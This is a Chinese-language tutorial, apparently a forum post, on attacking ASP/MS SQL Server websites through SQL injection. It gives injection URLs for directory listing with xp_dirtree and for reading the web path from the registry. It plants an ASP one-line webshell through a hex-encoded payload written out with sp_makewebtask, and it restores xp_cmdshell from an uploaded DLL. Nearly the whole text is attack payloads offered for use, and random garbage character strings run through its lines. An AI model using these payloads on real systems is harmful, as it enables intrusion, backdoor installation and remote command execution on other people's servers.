好,我们exec master..xp_dirtree'd:/test'! c4 G( U' L7 T# o
假设我们在test里有两个文件夹test1和test2在test1里又有test3
* U4 {" W7 E, a/ Y1 O* {" o, R结果显示; q4 {2 r" R3 k2 e+ n
) }' B& _& |* P
subdirectory depth
" q: e* o9 `1 Q% w9 Atest1 15 K0 Q2 K( L$ r) ]; b# D
test3 2
0 D& g! M6 z' ]8 F( V( x9 otest2 16 \, Y/ W6 o/ B% o- K
. U7 U0 K! m* y& v哈哈发现没有那个depth就是目录的级数- P' ~' n3 h, {$ O# X R: b
ok了,知道怎么办了吧
# Z' h% I1 i# T, b3 ?% M7 u) Q( X+ f9 {: }( ^7 B, ^! z
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- N# m2 U0 ~$ ]: |: q& K4 N
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- 3 D9 R' Y% w3 L7 l8 n" D' Z
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
: f4 ~ J; R! r& V% P V. ]4 t4 k4 @" z" I: }/ k- L- u. k
只要加上id=1,就是第一级目录 。" s9 ^% v2 U9 q+ \ r
% ~( A+ H _ H1 |4 S
2 N. e7 g* H/ r5 V U7 f通过注册表读网站路径:
' B, L* z0 ^' V" `4 f4 h, A, u
7 s0 L7 O: c: w, q! w1.;create table [dbo].[cyfd] ([gyfd][char](255));
4 L$ z9 }' F4 g- _. T( w1 j
! ]' O/ I2 j- J, e3 n4 O) u2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
I) D- M5 r N1 `id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--6 V4 k6 M$ v- `1 x2 S
8 m2 W& e2 e M$ \
3.and 1=(select count(*) from 临时表 where 临时字段名>1)+ O0 {1 V1 f5 A3 O; p6 Q5 a* P
and 1=(select count(*) from cyfd where gyfd > 1)
; x p, B# b7 [: @% _/ v2 ~' q这样IE报错,就把刚才插进去的Web路径的值报出来了& a; f: c0 ]3 L" n7 X
. W, ?4 ]4 f/ t1 S; ? _/ s4.drop table cyfd;-- 删除临时表
) V1 R7 A6 b2 O0 i- }, F. {4 D! M8 e9 P: X6 c8 a
获得webshell方法:) o2 w4 \5 x7 |
1.create table cmd (a image)-- \**cmd是创建的临时表/ x0 b" s" S; I$ X0 C5 v: ]
6 N5 q6 R+ i* |: k, V% i( z0 t8 H' K
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话8 u) n. {9 H% P: O, v1 c
) ]/ O9 Q9 j% m: p! Z# s
* v- Z ]: ^8 |7 b* i5 P9 G
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'6 ~" k; _" s" I& y
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'& R- f$ s& }( A( h v% M, V7 L" @
8 E# i+ D& E/ n" F6 ]* o
4.drop table cmd;-- 删除cmd临时表
( [. y7 l* ~7 D( w, E/ @' P) H
6 ?8 j9 |2 l0 u恢复xp_cmdshell方法之一:0 \8 _2 d) m1 F/ Z4 u! Z q
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
7 p- ], `! f: phttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
: O- c9 r1 `9 h% W, r恢复,支持绝对路径的恢复哦。:)- t) [( C# g0 P$ j
|